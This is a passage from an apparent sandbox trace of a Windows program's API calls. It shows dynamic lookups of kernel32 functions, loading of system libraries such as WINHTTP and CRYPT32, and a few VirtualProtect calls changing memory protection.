BaseAddress=0x752b0000, Name="SetProcessShutdownParameters", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752e9003) returned 0x0 [0188.370] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ResetEvent", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c16bd) returned 0x0 [0188.370] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c110c) returned 0x0 [0188.370] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateProcessW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c103d) returned 0x0 [0188.370] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1136) returned 0x0 [0188.370] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetExitCodeProcess", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752d1705) returned 0x0 [0188.370] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c41d8) returned 0x0 [0188.370] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c13f0) returned 0x0 [0188.370] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ResumeThread", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c43a7) returned 0x0 [0188.370] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c17e9) returned 0x0 [0188.370] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetSystemDirectoryW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c501b) returned 0x0 [0188.371] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c11f8) returned 0x0 [0188.371] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c43ed) returned 0x0 [0188.371] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c43fa) returned 0x0 [0188.371] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FindNextFileW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c54a6) returned 0x0 [0188.371] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c17b1) returned 0x0 [0188.371] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="QueryPerformanceCounter", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1705) returned 0x0 [0188.371] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c3e83) returned 0x0 [0188.371] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c3f0c) returned 0x0 [0188.371] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c3485) returned 0x0 [0188.371] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752e8b83) returned 0x0 [0188.371] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752e88da) returned 0x0 [0188.372] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752e7327) returned 0x0 [0188.372] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1966) returned 0x0 [0188.372] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="MulDiv", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1b30) returned 0x0 [0188.372] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateDirectoryW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c4211) returned 0x0 [0188.372] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CopyFileW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752e82d5) returned 0x0 [0188.372] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c53cc) returned 0x0 [0188.372] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dd7d2) returned 0x0 [0188.372] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetDriveTypeA", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752def45) returned 0x0 [0188.372] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75344a6f) returned 0x0 [0188.372] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c896b) returned 0x0 [0188.373] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetProcessId", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752ecef4) returned 0x0 [0188.373] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ProcessIdToSessionId", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1275) returned 0x0 [0188.373] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1430) returned 0x0 [0188.373] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c5a4e) returned 0x0 [0188.373] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="WaitNamedPipeW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75344b7f) returned 0x0 [0188.373] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1282) returned 0x0 [0188.373] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c11a9) returned 0x0 [0188.373] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752d1200) returned 0x0 [0188.373] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetModuleHandleW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c3460) returned 0x0 [0188.373] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1245) returned 0x0 [0188.373] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dd4ac) returned 0x0 [0188.374] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c2cec) returned 0x0 [0188.374] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c16a5) returned 0x0 [0188.374] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ConnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7534469b) returned 0x0 [0188.374] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateNamedPipeW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x753446eb) returned 0x0 [0188.374] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetOverlappedResult", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dcc51) returned 0x0 [0188.374] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="DisconnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7534477f) returned 0x0 [0188.374] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateEventW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c181e) returned 0x0 [0188.374] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetUserGeoID", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752eacd0) returned 0x0 [0188.374] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetFileInformationByHandle", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c5366) returned 0x0 [0188.374] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="RaiseException", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c585e) returned 0x0 [0188.375] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetDateFormatW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752e34a7) returned 0x0 [0188.375] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetTimeFormatW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752df451) returned 0x0 [0188.375] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FileTimeToSystemTime", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c53e4) returned 0x0 [0188.375] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetStdHandle", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c516b) returned 0x0 [0188.375] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetThreadExecutionState", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752df717) returned 0x0 [0188.375] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GlobalSize", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dd13f) returned 0x0 [0188.375] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetLocalTime", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c5a5e) returned 0x0 [0188.375] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetFileAttributesW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dd4c7) returned 0x0 [0188.375] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetDriveTypeW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c4143) returned 0x0 [0188.375] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetLogicalDrives", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c5329) returned 0x0 [0188.376] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FindFirstChangeNotificationW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dd821) returned 0x0 [0188.376] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FindCloseChangeNotification", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752defa4) returned 0x0 [0188.376] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FindNextChangeNotification", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752e5bee) returned 0x0 [0188.376] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetLocaleInfoW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c3bf2) returned 0x0 [0188.376] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="InterlockedIncrement", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c13e0) returned 0x0 [0188.376] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="InterlockedCompareExchange", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1464) returned 0x0 [0188.376] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="TryEnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x76f32500) returned 0x0 [0188.376] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x76f32c42) returned 0x0 [0188.376] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x76f22270) returned 0x0 [0188.376] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetThreadPriority", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c326b) returned 0x0 [0188.376] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ReleaseSemaphore", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dd37b) returned 0x0 [0188.377] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x76f222b0) returned 0x0 [0188.377] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateSemaphoreW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dca32) returned 0x0 [0188.377] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x76f345f5) returned 0x0 [0188.377] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="QueryPerformanceFrequency", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c41a8) returned 0x0 [0188.377] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetNativeSystemInfo", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752d106d) returned 0x0 [0188.377] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="DeviceIoControl", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c31df) returned 0x0 [0188.377] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CancelIo", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7533c159) returned 0x0 [0188.377] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GlobalMemoryStatusEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752ed4b4) returned 0x0 [0188.377] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ConvertThreadToFiber", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752ec021) returned 0x0 [0188.378] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateFiberEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752ebde6) returned 0x0 [0188.378] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ConvertFiberToThread", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x75345b20) returned 0x0 [0188.378] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SwitchToFiber", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752ebc40) returned 0x0 [0188.378] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="DeleteFiber", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752eb852) returned 0x0 [0188.378] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="TlsGetValue", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c11e0) returned 0x0 [0188.378] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="TlsSetValue", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c14db) returned 0x0 [0188.378] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="TlsAlloc", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c4965) returned 0x0 [0188.380] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FormatMessageW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c45d8) returned 0x0 [0188.380] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateMutexW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c4204) returned 0x0 [0188.380] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dce06) returned 0x0 [0188.380] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="OutputDebugStringA", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752eb297) returned 0x0 [0188.381] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c111e) returned 0x0 [0188.381] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="TlsFree", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c3537) returned 0x0 [0188.381] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetModuleFileNameW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c4908) returned 0x0 [0188.381] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetEnvironmentVariableW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1b28) returned 0x0 [0188.381] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetVolumePathNameW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752d06a6) returned 0x0 [0188.381] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetFileTime", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c43bf) returned 0x0 [0188.381] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetWaitableTimer", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752ebb0f) returned 0x0 [0188.381] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CancelWaitableTimer", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x7534467b) returned 0x0 [0188.381] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateWaitableTimerW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752ebaab) returned 0x0 [0188.382] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c16ed) returned 0x0 [0188.382] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="MultiByteToWideChar", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c190e) returned 0x0 [0188.382] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="VerSetConditionMask", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x76f792b9) returned 0x0 [0188.382] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="VerifyVersionInfoW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dd3f3) returned 0x0 [0188.382] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetProcessTimes", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dd5df) returned 0x0 [0188.382] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetExitCodeThread", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dd585) returned 0x0 [0188.382] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c4982) returned 0x0 [0188.382] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetUserDefaultUILanguage", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c4463) returned 0x0 [0188.382] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="OpenEventW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c15b6) returned 0x0 [0188.382] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c3478) returned 0x0 [0188.383] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c48e3) returned 0x0 [0188.383] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1222) returned 0x0 [0188.383] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetThreadContext", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752e799c) returned 0x0 [0188.383] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c17cc) returned 0x0 [0188.383] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752e7d46) returned 0x0 [0188.383] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c18d1) returned 0x0 [0188.383] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1806) returned 0x0 [0188.383] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateFileMappingW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c18e9) returned 0x0 [0188.383] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="OpenFileMappingW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c174b) returned 0x0 [0188.383] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c4317) returned 0x0 [0188.383] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c166c) returned 0x0 [0188.384] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetFilePointerEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dc7df) returned 0x0 [0188.384] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="UnlockFileEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752ed584) returned 0x0 [0188.384] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetFileSizeEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c599a) returned 0x0 [0188.384] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="LockFileEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752ed56c) returned 0x0 [0188.384] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c34b9) returned 0x0 [0188.384] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752cdcc6) returned 0x0 [0188.384] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetPriorityClass", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752dcf00) returned 0x0 [0188.384] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c1215) returned 0x0 [0188.384] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="WaitForMultipleObjectsEx", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752c197e) returned 0x0 [0188.384] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="QueueUserAPC", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x752e9f2d) returned 0x0 [0188.385] LoadLibraryA (lpLibFileName="gdiplus.dll") returned 0x71d50000 [0188.390] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x76a60000 [0188.391] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76860000 [0188.391] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75be0000 [0188.406] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74830000 [0188.462] LoadLibraryA (lpLibFileName="MSIMG32.dll") returned 0x73900000 [0188.464] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x76970000 [0188.464] LoadLibraryA (lpLibFileName="WINHTTP.dll") returned 0x71cf0000 [0188.470] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x74ab0000 [0188.476] LoadLibraryA (lpLibFileName="Secur32.dll") returned 0x74920000 [0188.479] LoadLibraryA (lpLibFileName="SETUPAPI.dll") returned 0x759d0000 [0188.496] LoadLibraryA (lpLibFileName="WINSPOOL.DRV") returned 0x71c40000 [0188.543] VirtualProtect (in: lpAddress=0xfd6000, dwSize=0x5f9e00, flNewProtect=0x20, lpflOldProtect=0x36e904 | out: lpflOldProtect=0x36e904*=0x40) returned 1 [0188.713] VirtualProtect (in: lpAddress=0x15d0000, dwSize=0x4bb000, flNewProtect=0x2, lpflOldProtect=0x36e904 | out: lpflOldProtect=0x36e904*=0x40) returned 1 [0188.728] VirtualProtect (in: lpAddress=0x1a8b000, dwSize=0xa4c00, flNewProtect=0x4, lpflOldProtect=0x36e904 | out: lpflOldProtect=0x36e904*=0x40) returned 1 [0188.730] VirtualProtect 